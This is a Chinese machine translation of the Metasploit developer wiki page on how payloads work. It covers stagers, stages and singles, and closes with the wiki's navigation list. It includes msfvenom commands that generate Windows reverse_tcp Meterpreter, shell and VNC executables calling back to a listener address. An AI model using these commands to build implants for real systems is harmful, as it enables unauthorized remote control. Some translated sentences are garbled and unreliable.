# payloads 如何工作
payload模块是储存在`modules/payloads/{singles,stages,stagers}/<platform>`.当框架启动时,stages和stagers结合起来创造一个完整的载荷.您可以在exploit中使用它。然后,handlers与有效载荷配对,以便框架知道如何创建与给定通信机制的会话。
有效载荷被赋予参考名称,表示所有的部分,如下所示:
- Staged payloads: `<platform>/[arch]/<stage>/<stager>`
- Single payloads: `<platform>/[arch]/<single>`
这导致像有效载荷像 `windows/x64/meterpreter/reverse_tcp`.打破这一点,平台是`windows`,架构是`x64`,最后阶段我们交付的是`meterpreter`,而实现它的是`reverse_tcp`
请注意,体系结构是可选的,因为在某些情况下,它是不必要的或暗示的。一个例子是`php/meterpreter/reverse_tcp`。Arch不需要PHP有效载荷,因为我们提供的是解释代码,而不是本地代码。
### singles
单一的有效载荷是难以忘怀的。他们可以与Metasploit建立沟通机制,但他们不需要。一个可能需要的场景的例子是当目标没有网络访问时 - 通过USB密钥传递的文件格式漏洞利用仍然是可能的。
### stagers
舞台是一个小存根,旨在创造某种形式的交流,然后将执行转移到下一个阶段。使用stager解决了两个问题。首先,它允许我们最初使用一个小的有效载荷来加载更多的功能更大的有效载荷。其次,它使通信机制与最后阶段分离成为可能,因此一个有效载荷可以与多个传输一起使用而不需要复制代码。
### stages
由于stagers会照顾到处理任何规模的限制,为我们分配一大块内存来运行,所以stage可以是任意大的。这样做的一个优点是能够用C这样的高级语言编写最终阶段的有效载荷。
## 交付阶段
您希望有效载荷连接回的IP地址和端口被嵌入到stager中。如上所述,所有分级的有效载荷不过是建立通信并执行下一阶段的小存根。当您使用分阶段负载创建可执行文件时,您实际上只是创建了暂存器。所以下面的命令会创建功能相同的exe文件:
```
msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
```
(请注意,这些功能是相同的 - 有很多随机化进入它,所以没有两个可执行文件是完全一样的。)
1.Ruby端作为客户端,使用由stager(例如:tcp,http,https)设置的任何传输机制。
* 在shell阶段的情况下,当您与终端进行交互时,Metasploit会将远程进程的输入连接到您的终端。
* 在Meterpreter阶段的情况下,Metasploit将开始使用Meterpreter协议。
- Home
- 开始使用
- 安装metasploit开发环境
- 使用metasploit
- 使用git
- 报告一个bug
- 贡献代码
- 贡献给metasploit
- 创建一个loginscans Metasploit模块
- 接受模块和增强功能的指导
- 常见的Metasploit模块代码错误
- 样式提示
- metasploit提交者
- metasploit开发
- 为什么是ruby
- 样式提示
- 如何开始写一个exploit
- 如何开始写一个辅助模块
- 如何开始写一个post模块
- 如何开始写一个Meterpreter脚本
- 载入外部模块
- exploit rank
- Metasploit模块引用标识符
- 怎么在你的exploit中确认window补丁程序级别
- 如何使用filedropper清理文件
- 如何弃用metasploit模块
- 如何在模块开发中报告或储存数据
- 在metasploit如何使用日志
- 如何在metasploit对JavaScript进行混淆
- 如何解析一个http响应
- 如何使用HTTPClient发送HTTP请求
- 如何使用命令阶段
- 如何使用数据储存选项
- 如何在window后期开发中使用railgun
- 如何在exploit中使用powershell
- 如何使用PhpEXE来利用任意文件上传漏洞
- 如何使用FILEFORMAT mixin创建一个文件格式exploit
- 如何使用BrowserExploitServer编写一个浏览器exploit
- 如何使用HttpServer编写浏览器exploit
- 如何编写一个check()方法
- 如何使用Seh mixin来利用异常处理程序
- 如何在Windows上使用WbemExec进行写入权限攻击
- 如何使用httpserver和httpclient编写一个模块
- payloads如何工作
- 如何免杀
- 如何正确使用metasploit模块